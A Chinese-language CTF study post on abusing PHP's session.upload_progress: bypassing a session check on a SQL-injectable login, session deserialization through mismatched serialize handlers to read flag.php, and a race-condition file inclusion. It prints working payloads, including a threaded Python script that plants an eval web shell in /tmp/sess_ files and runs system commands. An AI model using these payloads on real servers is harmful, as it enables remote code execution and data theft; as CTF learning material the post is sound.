这个东西让我印象挺深刻的(
最近一次接触还是在一道SQL注入的题目:
[PwnThyBytes2019] BabySQL
由于login.php没有session存在的时候就不能访问,并且无法注入
所以这时候就需要我们自己创造一个session
所以session_upload_progress在这里就派上用场了
1 当session.upload_progress.enabled打开的时候(默认为On),我们传入PHP_SESSION_UPLOAD_PROGRESS的时候,php会执行session_start(),这个时候就会绕过没有session的限制
然后我就想起来之前session反序列化的时候好像也是用这个session_upload_progress的
觉得这个东西挺有用的,就来学习一下
还有就是这个了(雾)
1.绕过!isset[$session]
就是上面的引子引入的题目,不多赘述
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php !isset ($_SESSION ) AND die ("Direct access on this script is not allowed!" ); include 'db.php' ;$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET ['username' ] . '" and password="' . md5 ($_GET ['password' ]) . '";' ;$result = $con ->query ($sql );function auth ($user ) { $_SESSION ['username' ] = $user ; return True; } ($result ->num_rows > 0 AND $row = $result ->fetch_assoc () AND $con ->close () AND auth ($row ['username' ]) AND die ('<meta http-equiv="refresh" content="0; url=?p=home" />' )) OR ($con ->close () AND die ('Try again!' )); ?>
2.session反序列化
session序列化/反序列化的默认引擎是php
但是如果php文件变成了:
1 2 <?php ini_set ('session.serialize_handler' ,'php_serialize' );
就将序列化的引擎改变了(php_serialize)
php引擎对于序列化的存储格式是:|serialized_string
,而php_serialize引擎的存储格式是serialized_string
,如果使用两个引擎分别处理的时候就会出现问题
这是因为php_serialize
会将|
当作正常字符来解析,生成session,php
中会将|
看作分隔符,解析session文件时会直接对|
后的值进行反序列化处理(session_start())
如果存在两种不同的引擎的时候,就可以利用session_start()的自动反序列化传输数据
此时当浏览器向服务器上传一个文件时,php将会把文件上传的详细信息存储在session当中;只需往该地址POST一个名为PHP_SESSION_UPLOAD_PROGRESS
的字段,就可以将文件名的值赋值到session中,进行session反序列化
前提当然是session.upload_progress.enabled为On
1 2 3 4 5 6 7 这个过程就是: 由于处理引擎使用和默认引擎的不同导致竖线(|)后面的数据可以被反序列化 使用php_serialize引擎生成的正常session(包含有序列化信息)在php引擎处会被session_start()自动序列化 session.upload_progress.enabled打开的时候会将文件信息存储在session中,此时只需POST一个PHP_SESSION_UPLOAD_PROGRESS的字段,就可以将文件名的值赋值到session中,进行session反序列化
简单看一个以前做的题就知道了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <?php ini_set ('session.serialize_handler' , 'php' ); if (isset ($_POST ['source' ])){ highlight_file (__FILE__ ); phpinfo (); die (); } error_reporting (0 ); include "flag.php" ; class Game { public $log ,$name ,$play ; public function __construct ($name ) { $this ->name = $name ; $this ->log = '/tmp/' .md5 ($name ).'.log' ; } public function play ($user_input ,$bot_input ) { $output = array ('Rock' =>'✌🏻' ,'Paper' =>'✊🏻' ,'Scissors' =>'✋🏻' ); $this ->play = $user_input .$bot_input ; if ($this ->play == "RockRock" || $this ->play == "PaperPaper" || $this ->play == "ScissorsScissors" ){ file_put_contents ($this ->log,"<div>" .$output [$user_input ].' VS ' .$output [$bot_input ]." Draw</div>\n" ,FILE_APPEND); return "Draw" ; } else if ($this ->play == "RockPaper" || $this ->play == "PaperScissors" || $this ->play == "ScissorsRock" ){ file_put_contents ($this ->log,"<div>" .$output [$user_input ].' VS ' .$output [$bot_input ]." You Lose</div>\n" ,FILE_APPEND); return "You Lose" ; } else if ($this ->play == "RockScissors" || $this ->play == "PaperRock" || $this ->play == "ScissorsPaper" ){ file_put_contents ($this ->log,"<div>" .$output [$user_input ].' VS ' .$output [$bot_input ]." You Win</div>\n" ,FILE_APPEND); return "You Win" ; } } public function __destruct ( ) { echo "<h5>Game History</h5>\n" ; echo "<div class='all_output'>\n" ; echo file_get_contents ($this ->log); echo "</div>" ; } } ?> <?php session_start (); if (isset ($_POST ['name' ])){ $_SESSION ['name' ]=$_POST ['name' ]; $_SESSION ['win' ]=0 ; } if (!isset ($_SESSION ['name' ])){ ?> <body> <h5>Input your name :</h5> <form method="post" > <input type="text" class ="result " name ="name "></input > <button type ="submit ">submit </button > </form > </body > </html > <?php exit (); } ?>
(ctfshow新手杯-石头剪刀布)
源码可以看到__destruct()
魔术方法里file_get_contents()
这一个危险的函数
可以想到用反序列化获取flag
虽然整个源码没有unserialize()函数,但是源码开头将序列化反序列化引擎设置为了php
,通过phpinfo()可以看到默认处理器是php_serialize
,且session.upload_progress.enabled
已经打开
所以这里就可以通过尝试上传session进行反序列化
先进行反序列化,这个反序列化连我都能看得懂(
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class Game { public $log ="/var/www/html/flag.php" ; public $name =1 ; public $play ="" ; } $a =new Game ();echo serialize ($a );?> |O:4 :\"Game\":3:{s:3:\"log\";s:22:\"/var/www/html/flag.php\";s:4:\"name\";i:1;s:4:\"play\";s:0:\"\";}
然后post传个文件:
1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryg3k5hVdW6mTNQVxP
1 2 3 4 5 6 7 8 9 10 ------WebKitFormBoundaryg3k5hVdW6mTNQVxP Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS" aaaaaa ------WebKitFormBoundaryg3k5hVdW6mTNQVxP Content-Disposition: form-data; name="file"; filename="|O:4:\"Game\":1:{s:3:\"log\";s:22:\"/var/www/html/flag.php\";}" Content-Type: text/plain ------WebKitFormBoundaryg3k5hVdW6mTNQVxP--
发包过去就好了
3.文件包含
1.如果session.auto_start=On
的话,即使没有session_start()
也会对session进行初始化,但是默认关闭
由于session.use_strict_mode
默认值为0,导致用户可以自定义Session ID(Cookie: PHPSESSID= xxx)
这个时候PHP就会在服务器上创建一个文件/tmp/sess_xxx
这个时候PHP会自动初始化session,并且将文件名等内容写入sess_xxx
文件中
其实就是这个:
1 2 upload_progress_NSSCTF{c6c326ee-fda7-4078-a6c0-c1feeca911b2} |a:5:{s:10:"start_time";i:1677673236;s:14:"content_length";i:277;s:15:"bytes_processed";i:277;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:9:"Err0r.txt";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1677673236;s:15:"bytes_processed";i:0;}}}
upload_progress_xxx
这个xxx其实就是命令执行之后的结果
然后序列化的结果就是文件的一些详细信息,包括文件名,上传时间等
也就是说如果我们此时包含了这个文件,这个文件写入了eval()
的话就可以进行rce
但是由于session.upload_progress.cleanup = on
使得上传的sess_xx
会被立即清空,此时在session文件内容清空前包含即可
script:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import requestsimport ioimport threadingurl='' sessid="Err0r" def write (session ): filebytes = io.BytesIO(b'aaaa' *1024 *50 ) while True : res = session.post(url, data={ 'PHP_SESSION_UPLOAD_PROGRESS' :"<?php eval($_POST[1]);?>" }, cookies={ 'PHPSESSID' :sessid }, files={ 'file' :('Err0r.txt' ,filebytes) } ) def read (session ): while True : res = session.post(url+"?file=/tmp/sess_" +sessid, data={ "1" :"system('ls /');" }, cookies={ "PHPSESSID" :sessid } ) if 'Err0r.txt' in res.text: print ("Success!" ) print (res.text) break else : print ("Retry" ) if __name__ == "__main__" : event = threading.Event() with requests.session() as session: for i in range (5 ): threading.Thread(target=write, args=(session,)).start() for i in range (5 ): threading.Thread(target=read, args=(session,)).start() event.set ()
如果是利用 burp 发包的话
你需要准备一个session的包(包含有PHPSESSID
和PHP_SESSION_UPLOAD_PROGRESS
的那个包),然后一个文件包含包(?file=/tmp/sess_id
的那个)
同时发包,赶在sess_id
文件清除之前访问即可